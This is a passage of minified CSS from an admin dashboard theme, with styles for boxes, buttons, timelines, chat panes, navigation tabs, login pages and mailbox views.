25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent)}.small-box{border-radius:2px;position:relative;display:block;margin-bottom:20px;box-shadow:0 1px 1px rgba(0,0,0,.1)}.small-box>.inner{padding:10px}.small-box>.small-box-footer{position:relative;text-align:center;padding:3px 0;color:#fff;color:hsla(0,0%,100%,.8);display:block;z-index:10;background:rgba(0,0,0,.1);text-decoration:none}.small-box>.small-box-footer:hover{color:#fff;background:rgba(0,0,0,.15)}.small-box h3{font-size:38px;font-weight:700;margin:0 0 10px;white-space:nowrap;padding:0}.small-box p{font-size:15px}.small-box p>small{display:block;color:#f9f9f9;font-size:13px;margin-top:5px}.small-box h3,.small-box p{z-index:5}.small-box .icon{-webkit-transition:all .3s linear;-o-transition:all .3s linear;transition:all .3s linear;position:absolute;top:-10px;right:10px;z-index:0;font-size:90px;color:rgba(0,0,0,.15)}.small-box:hover{text-decoration:none;color:#f9f9f9}.small-box:hover .icon{font-size:95px}@media (max-width:767px){.small-box{text-align:center}.small-box .icon{display:none}.small-box p{font-size:12px}}.box{position:relative;border-radius:3px;background:#fff;border-top:3px solid #d2d6de;margin-bottom:20px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.1)}.box.box-primary{border-top-color:#3c8dbc}.box.box-info{border-top-color:#00c0ef}.box.box-danger{border-top-color:#dd4b39}.box.box-warning{border-top-color:#f39c12}.box.box-success{border-top-color:#00a65a}.box.box-default{border-top-color:#d2d6de}.box.collapsed-box .box-body,.box.collapsed-box .box-footer{display:none}.box .nav-stacked>li{border-bottom:1px solid #f4f4f4;margin:0}.box .nav-stacked>li:last-of-type{border-bottom:none}.box.height-control .box-body{max-height:300px;overflow:auto}.box .border-right{border-right:1px solid #f4f4f4}.box .border-left{border-left:1px solid #f4f4f4}.box.box-solid{border-top:0}.box.box-solid>.box-header .btn.btn-default{background:transparent}.box.box-solid>.box-header .btn:hover,.box.box-solid>.box-header a:hover{background:rgba(0,0,0,.1)}.box.box-solid.box-default{border:1px solid #d2d6de}.box.box-solid.box-default>.box-header{color:#444;background:#d2d6de;background-color:#d2d6de}.box.box-solid.box-default>.box-header .btn,.box.box-solid.box-default>.box-header a{color:#444}.box.box-solid.box-primary{border:1px solid #3c8dbc}.box.box-solid.box-primary>.box-header{color:#fff;background:#3c8dbc;background-color:#3c8dbc}.box.box-solid.box-primary>.box-header .btn,.box.box-solid.box-primary>.box-header a{color:#fff}.box.box-solid.box-info{border:1px solid #00c0ef}.box.box-solid.box-info>.box-header{color:#fff;background:#00c0ef;background-color:#00c0ef}.box.box-solid.box-info>.box-header .btn,.box.box-solid.box-info>.box-header a{color:#fff}.box.box-solid.box-danger{border:1px solid #dd4b39}.box.box-solid.box-danger>.box-header{color:#fff;background:#dd4b39;background-color:#dd4b39}.box.box-solid.box-danger>.box-header .btn,.box.box-solid.box-danger>.box-header a{color:#fff}.box.box-solid.box-warning{border:1px solid #f39c12}.box.box-solid.box-warning>.box-header{color:#fff;background:#f39c12;background-color:#f39c12}.box.box-solid.box-warning>.box-header .btn,.box.box-solid.box-warning>.box-header a{color:#fff}.box.box-solid.box-success{border:1px solid #00a65a}.box.box-solid.box-success>.box-header{color:#fff;background:#00a65a;background-color:#00a65a}.box.box-solid.box-success>.box-header .btn,.box.box-solid.box-success>.box-header a{color:#fff}.box.box-solid>.box-header>.box-tools .btn{border:0;box-shadow:none}.box.box-solid[class*=bg]>.box-header{color:#fff}.box .box-group>.box{margin-bottom:5px}.box .knob-label{text-align:center;color:#333;font-weight:100;font-size:12px;margin-bottom:.3em}.box>.loading-img,.box>.overlay,.overlay-wrapper>.loading-img,.overlay-wrapper>.overlay{position:absolute;top:0;left:0;width:100%;height:100%}.box .overlay,.overlay-wrapper .overlay{z-index:50;background:hsla(0,0%,100%,.7);border-radius:3px}.box .overlay>.fa,.overlay-wrapper .overlay>.fa{position:absolute;top:50%;left:50%;margin-left:-15px;margin-top:-15px;color:#000;font-size:30px}.box .overlay.dark,.overlay-wrapper .overlay.dark{background:rgba(0,0,0,.5)}.box-body:after,.box-body:before,.box-footer:after,.box-footer:before,.box-header:after,.box-header:before{content:" ";display:table}.box-body:after,.box-footer:after,.box-header:after{clear:both}.box-header{color:#444;display:block;padding:10px;position:relative}.box-header.with-border{border-bottom:1px solid #f4f4f4}.collapsed-box .box-header.with-border{border-bottom:none}.box-header .box-title,.box-header>.fa,.box-header>.glyphicon,.box-header>.ion{display:inline-block;font-size:18px;margin:0;line-height:1}.box-header>.fa,.box-header>.glyphicon,.box-header>.ion{margin-right:5px}.box-header>.box-tools{float:right;margin-top:-5px;margin-bottom:-5px}.box-header>.box-tools [data-toggle=tooltip]{position:relative}.box-header>.box-tools.pull-right .dropdown-menu{right:0;left:auto}.box-header>.box-tools .dropdown-menu>li>a{color:#444!important}.btn-box-tool{padding:5px;font-size:12px;background:transparent;color:#97a0b3}.btn-box-tool:hover,.open .btn-box-tool{color:#606c84}.btn-box-tool.btn:active{box-shadow:none}.box-body{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px;padding:10px}.no-header .box-body{border-top-right-radius:3px;border-top-left-radius:3px}.box-body>.table{margin-bottom:0}.box-body .fc{margin-top:5px}.box-body .full-width-chart{margin:-19px}.box-body.no-padding .full-width-chart{margin:-9px}.box-body .box-pane{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:3px}.box-body .box-pane-right{border-bottom-left-radius:0}.box-body .box-pane-right,.box-footer{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:3px}.box-footer{border-bottom-left-radius:3px;border-top:1px solid #f4f4f4;padding:10px;background-color:#fff}.chart-legend{margin:10px 0}@media (max-width:991px){.chart-legend>li{float:left;margin-right:10px}}.box-comments{background:#f7f7f7}.box-comments .box-comment{padding:8px 0;border-bottom:1px solid #eee}.box-comments .box-comment:after,.box-comments .box-comment:before{content:" ";display:table}.box-comments .box-comment:after{clear:both}.box-comments .box-comment:last-of-type{border-bottom:0}.box-comments .box-comment:first-of-type{padding-top:0}.box-comments .box-comment img{float:left}.box-comments .comment-text{margin-left:40px;color:#555}.box-comments .username{color:#444;display:block;font-weight:600}.box-comments .text-muted{font-weight:400;font-size:12px}.todo-list{margin:0;padding:0;list-style:none;overflow:auto}.todo-list>li{border-radius:2px;padding:10px;background:#f4f4f4;margin-bottom:2px;border-left:2px solid #e6e7e8;color:#444}.todo-list>li:last-of-type{margin-bottom:0}.todo-list>li>input[type=checkbox]{margin:0 10px 0 5px}.todo-list>li .text{display:inline-block;margin-left:5px;font-weight:600}.todo-list>li .label{margin-left:10px;font-size:9px}.todo-list>li .tools{display:none;float:right;color:#dd4b39}.todo-list>li .tools>.fa,.todo-list>li .tools>.glyphicon,.todo-list>li .tools>.ion{margin-right:5px;cursor:pointer}.todo-list>li:hover .tools{display:inline-block}.todo-list>li.done{color:#999}.todo-list>li.done .text{text-decoration:line-through;font-weight:500}.todo-list>li.done .label{background:#d2d6de!important}.todo-list .danger{border-left-color:#dd4b39}.todo-list .warning{border-left-color:#f39c12}.todo-list .info{border-left-color:#00c0ef}.todo-list .success{border-left-color:#00a65a}.todo-list .primary{border-left-color:#3c8dbc}.todo-list .handle{display:inline-block;cursor:move;margin:0 5px}.chat{padding:5px 20px 5px 10px}.chat .item{margin-bottom:10px}.chat .item:after,.chat .item:before{content:" ";display:table}.chat .item:after{clear:both}.chat .item>img{width:40px;height:40px;border:2px solid transparent;border-radius:50%}.chat .item>.online{border:2px solid #00a65a}.chat .item>.offline{border:2px solid #dd4b39}.chat .item>.message{margin-left:55px;margin-top:-40px}.chat .item>.message>.name{display:block;font-weight:600}.chat .item>.attachment{border-radius:3px;background:#f4f4f4;margin-left:65px;margin-right:15px;padding:10px}.chat .item>.attachment>h4{margin:0 0 5px;font-weight:600;font-size:14px}.chat .item>.attachment>.filename,.chat .item>.attachment>p{font-weight:600;font-size:13px;font-style:italic;margin:0}.chat .item>.attachment:after,.chat .item>.attachment:before{content:" ";display:table}.chat .item>.attachment:after{clear:both}.box-input{max-width:200px}.modal .panel-body{color:#444}.info-box{display:block;min-height:90px;background:#fff;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:2px;margin-bottom:15px}.info-box small{font-size:14px}.info-box .progress{background:rgba(0,0,0,.2);margin:5px -10px;height:2px}.info-box .progress,.info-box .progress .progress-bar{border-radius:0}.info-box .progress .progress-bar{background:#fff}.info-box-icon{border-top-left-radius:2px;border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:2px;display:block;float:left;height:90px;width:90px;text-align:center;font-size:45px;line-height:90px;background:rgba(0,0,0,.2)}.info-box-icon>img{max-width:100%}.info-box-content{padding:5px 10px;margin-left:90px}.info-box-number{display:block;font-weight:700;font-size:18px}.info-box-text,.progress-description{display:block;font-size:14px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.info-box-text{text-transform:uppercase}.info-box-more{display:block}.progress-description{margin:0}.timeline{position:relative;margin:0 0 30px;padding:0;list-style:none}.timeline:before{content:"";position:absolute;top:0;bottom:0;width:4px;background:#ddd;left:31px;margin:0;border-radius:2px}.timeline>li{position:relative;margin-right:10px;margin-bottom:15px}.timeline>li:after,.timeline>li:before{content:" ";display:table}.timeline>li:after{clear:both}.timeline>li>.timeline-item{-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px;margin-top:0;background:#fff;color:#444;margin-left:60px;margin-right:15px;padding:0;position:relative}.timeline>li>.timeline-item>.time{color:#999;float:right;padding:10px;font-size:12px}.timeline>li>.timeline-item>.timeline-header{margin:0;color:#555;border-bottom:1px solid #f4f4f4;padding:10px;font-size:16px;line-height:1.1}.timeline>li>.timeline-item>.timeline-header>a{font-weight:600}.timeline>li>.timeline-item>.timeline-body,.timeline>li>.timeline-item>.timeline-footer{padding:10px}.timeline>li>.fa,.timeline>li>.glyphicon,.timeline>li>.ion{width:30px;height:30px;font-size:15px;line-height:30px;position:absolute;color:#666;background:#d2d6de;border-radius:50%;text-align:center;left:18px;top:0}.timeline>.time-label>span{font-weight:600;padding:5px;display:inline-block;background-color:#fff;border-radius:4px}.timeline-inverse>li>.timeline-item{background:#f0f0f0;border:1px solid #ddd;-webkit-box-shadow:none;box-shadow:none}.timeline-inverse>li>.timeline-item>.timeline-header{border-bottom-color:#ddd}.btn{border-radius:3px;-webkit-box-shadow:none;box-shadow:none;border:1px solid transparent}.btn.uppercase{text-transform:uppercase}.btn.btn-flat{border-radius:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;border-width:1px}.btn:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn:focus{outline:none}.btn.btn-file{position:relative;overflow:hidden}.btn.btn-file>input[type=file]{position:absolute;top:0;right:0;min-width:100%;min-height:100%;font-size:100px;text-align:right;opacity:0;filter:alpha(opacity=0);outline:none;background:#fff;cursor:inherit;display:block}.btn-default{background-color:#f4f4f4;color:#444;border-color:#ddd}.btn-default.hover,.btn-default:active,.btn-default:hover{background-color:#e7e7e7}.btn-primary{background-color:#3c8dbc;border-color:#367fa9}.btn-primary.hover,.btn-primary:active,.btn-primary:hover{background-color:#367fa9}.btn-success{background-color:#00a65a;border-color:#008d4c}.btn-success.hover,.btn-success:active,.btn-success:hover{background-color:#008d4c}.btn-info{background-color:#00c0ef;border-color:#00acd6}.btn-info.hover,.btn-info:active,.btn-info:hover{background-color:#00acd6}.btn-danger{background-color:#dd4b39;border-color:#d73925}.btn-danger.hover,.btn-danger:active,.btn-danger:hover{background-color:#d73925}.btn-warning{background-color:#f39c12;border-color:#e08e0b}.btn-warning.hover,.btn-warning:active,.btn-warning:hover{background-color:#e08e0b}.btn-outline{border:1px solid #fff;background:transparent;color:#fff}.btn-outline:active,.btn-outline:focus,.btn-outline:hover{color:hsla(0,0%,100%,.7);border-color:hsla(0,0%,100%,.7)}.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn[class*=bg-]:hover{-webkit-box-shadow:inset 0 0 100px rgba(0,0,0,.2);box-shadow:inset 0 0 100px rgba(0,0,0,.2)}.btn-app{border-radius:3px;position:relative;padding:15px 5px;margin:0 0 10px 10px;min-width:80px;height:60px;text-align:center;color:#666;border:1px solid #ddd;background-color:#f4f4f4;font-size:12px}.btn-app>.fa,.btn-app>.glyphicon,.btn-app>.ion{font-size:20px;display:block}.btn-app:hover{background:#f4f4f4;color:#444;border-color:#aaa}.btn-app:active,.btn-app:focus{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-app>.badge{position:absolute;top:-3px;right:-10px;font-size:10px;font-weight:400}.callout{border-radius:3px;margin:0 0 20px;padding:15px 30px 15px 15px;border-left:5px solid #eee}.callout a{color:#fff;text-decoration:underline}.callout a:hover{color:#eee}.callout h4{margin-top:0;font-weight:600}.callout p:last-child{margin-bottom:0}.callout .highlight,.callout code{background-color:#fff}.callout.callout-danger{border-color:#c23321}.callout.callout-warning{border-color:#c87f0a}.callout.callout-info{border-color:#0097bc}.callout.callout-success{border-color:#00733e}.alert{border-radius:3px}.alert h4{font-weight:600}.alert .icon{margin-right:10px}.alert .close{color:#000;opacity:.2;filter:alpha(opacity=20)}.alert .close:hover{opacity:.5;filter:alpha(opacity=50)}.alert a{color:#fff;text-decoration:underline}.alert-success{border-color:#008d4c}.alert-danger,.alert-error{border-color:#d73925}.alert-warning{border-color:#e08e0b}.alert-info{border-color:#00acd6}.nav>li>a:active,.nav>li>a:focus,.nav>li>a:hover{color:#444;background:#f7f7f7}.nav-pills>li>a{border-radius:0;border-top:3px solid transparent;color:#444}.nav-pills>li>a>.fa,.nav-pills>li>a>.glyphicon,.nav-pills>li>a>.ion{margin-right:5px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{border-top-color:#3c8dbc}.nav-pills>li.active>a{font-weight:600}.nav-stacked>li>a{border-radius:0;border-top:0;border-left:3px solid transparent;color:#444}.nav-stacked>li.active>a,.nav-stacked>li.active>a:hover{background:transparent;color:#444;border-top:0;border-left-color:#3c8dbc}.nav-stacked>li.header{border-bottom:1px solid #ddd;color:#777;margin-bottom:10px;padding:5px 10px;text-transform:uppercase}.nav-tabs-custom{margin-bottom:20px;background:#fff;box-shadow:0 1px 1px rgba(0,0,0,.1);border-radius:3px}.nav-tabs-custom>.nav-tabs{margin:0;border-bottom-color:#f4f4f4;border-top-right-radius:3px;border-top-left-radius:3px}.nav-tabs-custom>.nav-tabs>li{border-top:3px solid transparent;margin-bottom:-2px;margin-right:5px}.nav-tabs-custom>.nav-tabs>li.disabled>a{color:#777}.nav-tabs-custom>.nav-tabs>li>a{color:#444;border-radius:0}.nav-tabs-custom>.nav-tabs>li>a.text-muted{color:#999}.nav-tabs-custom>.nav-tabs>li>a,.nav-tabs-custom>.nav-tabs>li>a:hover{background:transparent;margin:0}.nav-tabs-custom>.nav-tabs>li>a:hover{color:#999}.nav-tabs-custom>.nav-tabs>li:not(.active)>a:active,.nav-tabs-custom>.nav-tabs>li:not(.active)>a:focus,.nav-tabs-custom>.nav-tabs>li:not(.active)>a:hover{border-color:transparent}.nav-tabs-custom>.nav-tabs>li.active{border-top-color:#3c8dbc}.nav-tabs-custom>.nav-tabs>li.active:hover>a,.nav-tabs-custom>.nav-tabs>li.active>a{background-color:#fff;color:#444}.nav-tabs-custom>.nav-tabs>li.active>a{border-top-color:transparent;border-left-color:#f4f4f4;border-right-color:#f4f4f4}.nav-tabs-custom>.nav-tabs>li:first-of-type{margin-left:0}.nav-tabs-custom>.nav-tabs>li:first-of-type.active>a{border-left-color:transparent}.nav-tabs-custom>.nav-tabs.pull-right{float:none!important}.nav-tabs-custom>.nav-tabs.pull-right>li{float:right}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type{margin-right:0}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type>a{border-left-width:1px}.nav-tabs-custom>.nav-tabs.pull-right>li:first-of-type.active>a{border-left-color:#f4f4f4;border-right-color:transparent}.nav-tabs-custom>.nav-tabs>li.header{line-height:35px;padding:0 10px;font-size:20px;color:#444}.nav-tabs-custom>.nav-tabs>li.header>.fa,.nav-tabs-custom>.nav-tabs>li.header>.glyphicon,.nav-tabs-custom>.nav-tabs>li.header>.ion{margin-right:5px}.nav-tabs-custom>.tab-content{background:#fff;padding:10px;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.nav-tabs-custom .dropdown.open>a:active,.nav-tabs-custom .dropdown.open>a:focus{background:transparent;color:#999}.nav-tabs-custom.tab-primary>.nav-tabs>li.active{border-top-color:#3c8dbc}.nav-tabs-custom.tab-info>.nav-tabs>li.active{border-top-color:#00c0ef}.nav-tabs-custom.tab-danger>.nav-tabs>li.active{border-top-color:#dd4b39}.nav-tabs-custom.tab-warning>.nav-tabs>li.active{border-top-color:#f39c12}.nav-tabs-custom.tab-success>.nav-tabs>li.active{border-top-color:#00a65a}.nav-tabs-custom.tab-default>.nav-tabs>li.active{border-top-color:#d2d6de}.pagination>li>a{background:#fafafa;color:#666}.pagination.pagination-flat>li>a{border-radius:0!important}.products-list{list-style:none;margin:0;padding:0}.products-list>.item{border-radius:3px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.1);box-shadow:0 1px 1px rgba(0,0,0,.1);padding:10px 0;background:#fff}.products-list>.item:after,.products-list>.item:before{content:" ";display:table}.products-list>.item:after{clear:both}.products-list .product-img{float:left}.products-list .product-img img{width:50px;height:50px}.products-list .product-info{margin-left:60px}.products-list .product-title{font-weight:600}.products-list .product-description{display:block;color:#999;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.product-list-in-box>.item{-webkit-box-shadow:none;box-shadow:none;border-radius:0;border-bottom:1px solid #f4f4f4}.product-list-in-box>.item:last-of-type{border-bottom-width:0}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{border-top:1px solid #f4f4f4}.table>thead>tr>th{border-bottom:2px solid #f4f4f4}.table tr td .progress{margin-top:5px}.table-bordered,.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #f4f4f4}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table.no-border,.table.no-border td,.table.no-border th{border:0}table.text-center,table.text-center td,table.text-center th{text-align:center}.table.align th{text-align:left}.table.align td{text-align:right}.label-default{background-color:#d2d6de;color:#444}.direct-chat .box-body{border-bottom-right-radius:0;border-bottom-left-radius:0;position:relative;overflow-x:hidden;padding:0}.direct-chat-messages,.direct-chat.chat-pane-open .direct-chat-contacts{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.direct-chat-messages{padding:10px;height:250px;overflow:auto}.direct-chat-msg,.direct-chat-text{display:block}.direct-chat-msg{margin-bottom:10px}.direct-chat-msg:after,.direct-chat-msg:before{content:" ";display:table}.direct-chat-msg:after{clear:both}.direct-chat-contacts,.direct-chat-messages{-webkit-transition:-webkit-transform .5s ease-in-out;-moz-transition:-moz-transform .5s ease-in-out;-o-transition:-o-transform .5s ease-in-out;transition:transform .5s ease-in-out}.direct-chat-text{border-radius:5px;position:relative;padding:5px 10px;background:#d2d6de;border:1px solid #d2d6de;margin:5px 0 0 50px;color:#444}.direct-chat-text:after,.direct-chat-text:before{position:absolute;right:100%;top:15px;border:solid transparent;border-right:solid #d2d6de;content:" ";height:0;width:0;pointer-events:none}.direct-chat-text:after{border-width:5px;margin-top:-5px}.direct-chat-text:before{border-width:6px;margin-top:-6px}.right .direct-chat-text{margin-right:50px;margin-left:0}.right .direct-chat-text:after,.right .direct-chat-text:before{right:auto;left:100%;border-right-color:transparent;border-left-color:#d2d6de}.direct-chat-img{border-radius:50%;float:left;width:40px;height:40px}.right .direct-chat-img{float:right}.direct-chat-info{display:block;margin-bottom:2px;font-size:12px}.direct-chat-name{font-weight:600}.direct-chat-timestamp{color:#999}.direct-chat-contacts-open .direct-chat-contacts{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}.direct-chat-contacts{-webkit-transform:translate(101%);-ms-transform:translate(101%);-o-transform:translate(101%);transform:translate(101%);position:absolute;top:0;bottom:0;height:250px;width:100%;background:#222d32;color:#fff;overflow:auto}.contacts-list>li{border-bottom:1px solid rgba(0,0,0,.2);padding:10px;margin:0}.contacts-list>li:after,.contacts-list>li:before{content:" ";display:table}.contacts-list>li:after{clear:both}.contacts-list>li:last-of-type{border-bottom:none}.contacts-list-img{border-radius:50%;width:40px;float:left}.contacts-list-info{margin-left:45px;color:#fff}.contacts-list-name,.contacts-list-status{display:block}.contacts-list-name{font-weight:600}.contacts-list-status{font-size:12px}.contacts-list-date{color:#aaa;font-weight:400}.contacts-list-msg{color:#999}.direct-chat-danger .right>.direct-chat-text{background:#dd4b39;border-color:#dd4b39;color:#fff}.direct-chat-danger .right>.direct-chat-text:after,.direct-chat-danger .right>.direct-chat-text:before{border-left-color:#dd4b39}.direct-chat-primary .right>.direct-chat-text{background:#3c8dbc;border-color:#3c8dbc;color:#fff}.direct-chat-primary .right>.direct-chat-text:after,.direct-chat-primary .right>.direct-chat-text:before{border-left-color:#3c8dbc}.direct-chat-warning .right>.direct-chat-text{background:#f39c12;border-color:#f39c12;color:#fff}.direct-chat-warning .right>.direct-chat-text:after,.direct-chat-warning .right>.direct-chat-text:before{border-left-color:#f39c12}.direct-chat-info .right>.direct-chat-text{background:#00c0ef;border-color:#00c0ef;color:#fff}.direct-chat-info .right>.direct-chat-text:after,.direct-chat-info .right>.direct-chat-text:before{border-left-color:#00c0ef}.direct-chat-success .right>.direct-chat-text{background:#00a65a;border-color:#00a65a;color:#fff}.direct-chat-success .right>.direct-chat-text:after,.direct-chat-success .right>.direct-chat-text:before{border-left-color:#00a65a}.users-list>li{width:25%;float:left;padding:10px;text-align:center}.users-list>li img{border-radius:50%;max-width:100%;height:auto}.users-list>li>a:hover,.users-list>li>a:hover .users-list-name{color:#999}.users-list-date,.users-list-name{display:block}.users-list-name{font-weight:600;color:#444;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.users-list-date{color:#999;font-size:12px}.carousel-control.left,.carousel-control.right{background-image:none}.carousel-control>.fa{font-size:40px;position:absolute;top:50%;z-index:5;display:inline-block;margin-top:-20px}.modal{background:rgba(0,0,0,.3)}.modal-content{border-radius:0;-webkit-box-shadow:0 2px 3px rgba(0,0,0,.125);box-shadow:0 2px 3px rgba(0,0,0,.125);border:0}@media (min-width:768px){.modal-content{-webkit-box-shadow:0 2px 3px rgba(0,0,0,.125);box-shadow:0 2px 3px rgba(0,0,0,.125)}}.modal-header{border-bottom-color:#f4f4f4}.modal-footer{border-top-color:#f4f4f4}.modal-primary .modal-footer,.modal-primary .modal-header{border-color:#307095}.modal-warning .modal-footer,.modal-warning .modal-header{border-color:#c87f0a}.modal-info .modal-footer,.modal-info .modal-header{border-color:#0097bc}.modal-success .modal-footer,.modal-success .modal-header{border-color:#00733e}.modal-danger .modal-footer,.modal-danger .modal-header{border-color:#c23321}.box-widget{border:none;position:relative}.widget-user .widget-user-header{padding:20px;height:120px;border-top-right-radius:3px;border-top-left-radius:3px}.widget-user .widget-user-username{margin-top:0;margin-bottom:5px;font-size:25px;font-weight:300;text-shadow:0 1px 1px rgba(0,0,0,.2)}.widget-user .widget-user-desc{margin-top:0}.widget-user .widget-user-image{position:absolute;top:65px;left:50%;margin-left:-45px}.widget-user .widget-user-image>img{width:90px;height:auto;border:3px solid #fff}.widget-user .box-footer{padding-top:30px}.widget-user-2 .widget-user-header{padding:20px;border-top-right-radius:3px;border-top-left-radius:3px}.widget-user-2 .widget-user-username{margin-top:5px;margin-bottom:5px;font-size:25px;font-weight:300}.widget-user-2 .widget-user-desc{margin-top:0}.widget-user-2 .widget-user-desc,.widget-user-2 .widget-user-username{margin-left:75px}.widget-user-2 .widget-user-image>img{width:65px;height:auto;float:left}.treeview-menu{display:none;list-style:none;margin:0;padding:0 0 0 5px}.treeview-menu .treeview-menu{padding-left:20px}.treeview-menu>li{margin:0}.treeview-menu>li>a{padding:5px 5px 5px 15px;display:block;font-size:14px}.treeview-menu>li>a>.fa,.treeview-menu>li>a>.glyphicon,.treeview-menu>li>a>.ion{width:20px}.treeview-menu>li>a>.fa-angle-down,.treeview-menu>li>a>.fa-angle-left,.treeview-menu>li>a>.pull-right-container>.fa-angle-down,.treeview-menu>li>a>.pull-right-container>.fa-angle-left{width:auto}.treeview>ul.treeview-menu{overflow:hidden;height:auto;padding-top:0!important;padding-bottom:0!important}.treeview.menu-open>ul.treeview-menu{overflow:visible;height:auto}.mailbox-messages>.table{margin:0}.mailbox-controls{padding:5px}.mailbox-controls.with-border,.mailbox-read-info{border-bottom:1px solid #f4f4f4}.mailbox-read-info{padding:10px}.mailbox-read-info h3{font-size:20px;margin:0}.mailbox-read-info h5{margin:0;padding:5px 0 0}.mailbox-read-time{color:#999;font-size:13px}.mailbox-read-message{padding:10px}.mailbox-attachments li{float:left;width:200px;border:1px solid #eee;margin-bottom:10px;margin-right:10px}.mailbox-attachment-name{font-weight:700;color:#666}.mailbox-attachment-icon,.mailbox-attachment-info,.mailbox-attachment-size{display:block}.mailbox-attachment-info{padding:10px;background:#f4f4f4}.mailbox-attachment-size{color:#999;font-size:12px}.mailbox-attachment-icon{text-align:center;font-size:65px;color:#666;padding:20px 10px}.mailbox-attachment-icon.has-img{padding:0}.mailbox-attachment-icon.has-img>img{max-width:100%;height:auto}.lockscreen{background:#d2d6de}.lockscreen-logo{font-size:35px;text-align:center;margin-bottom:25px;font-weight:300}.lockscreen-logo a{color:#444}.lockscreen-wrapper{max-width:400px;margin:10% auto 0}.lockscreen .lockscreen-name{text-align:center;font-weight:600}.lockscreen-item{border-radius:4px;padding:0;background:#fff;position:relative;margin:10px auto 30px;width:290px}.lockscreen-image{border-radius:50%;position:absolute;left:-10px;top:-25px;background:#fff;padding:5px;z-index:10}.lockscreen-image>img{border-radius:50%;width:70px;height:70px}.lockscreen-credentials{margin-left:70px}.lockscreen-credentials .form-control{border:0}.lockscreen-credentials .btn{background-color:#fff;border:0;padding:0 10px}.lockscreen-footer{margin-top:10px}.login-logo,.register-logo{font-size:35px;text-align:center;margin-bottom:25px;font-weight:300}.login-logo a,.register-logo a{color:#444}.login-page,.register-page{height:auto;background:#d2d6de}.login-box,.register-box{width:360px;margin:7% auto}@media (max-width:768px){.login-box,.register-box{width:90%;margin-top:20px}}.login-box-body,.register-box-body{background:#fff;padding:20px;border-top:0;color:#666}.login-box-body .form-control-feedback,.register-box-body .form-control-feedback{color:#777}.login-box-msg,.register-box-msg{margin:0;text-align:center;padding:0 20px 20px}.social-auth-links{margin:10px 0}.error-page{width:600px;margin:20px auto 0}@media (max-width:991px){.error-page{width:100%}}.error-page>.headline{float:left;font-size:100px;font-weight:300}@media (max-width:991px){.error-page>.headline{float:none;text-align:center}}.error-page>.error-content{margin-left:190px;display:block}@media (max-width:991px){.error-page>.error-content{margin-left:0}}.error-page>.error-content>h3{font-weight:300;font-size:25px}@media (max-width:991px){.error-page>.error-content>h3{text-align:center}}.invoice{position:relative;background:#fff;border:1px solid #f4f4f4;padding:20px;margin:10px 25px}.invoice-title{margin-top:0}.profile-user-img{margin:0 auto;width:100px;padding:3px;border:3px solid #d2d6de}.profile-username{font-size:21px;margin-top:5px}.post{border-bottom:1px solid #d2d6de;margin-bottom:15px;padding-bottom:15px;color:#666}.post:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.post .user-block{margin-bottom:15px}.btn-social{position:relative;padding-left:44px;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.btn-social>:first-child{position:absolute;left:0;top:0;bottom:0;width:32px;line-height:34px;font-size:1.6em;text-align:center;border-right:1px solid rgba(0,0,0,.2)}.btn-social.btn-lg{padding-left:61px}.btn-social.btn-lg>:first-child{line-height:45px;width:45px;font-size:1.8em}.btn-social.btn-sm{padding-left:38px}.btn-social.btn-sm>:first-child{line-height:28px;width:28px;font-size:1.4em}.btn-social.btn-xs{padding-left:30px}.btn-social.btn-xs>:first-child{line-height:20px;width:20px;font-size:1.2em}.btn-social-icon{position:relative;text-align:left;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;height:34px;width:34px;padding:0}.btn-social-icon>:first-child{position:absolute;left:0;top:0;bottom:0;width:32px;line-height:34px;font-size:1.6em;border-right:1px solid 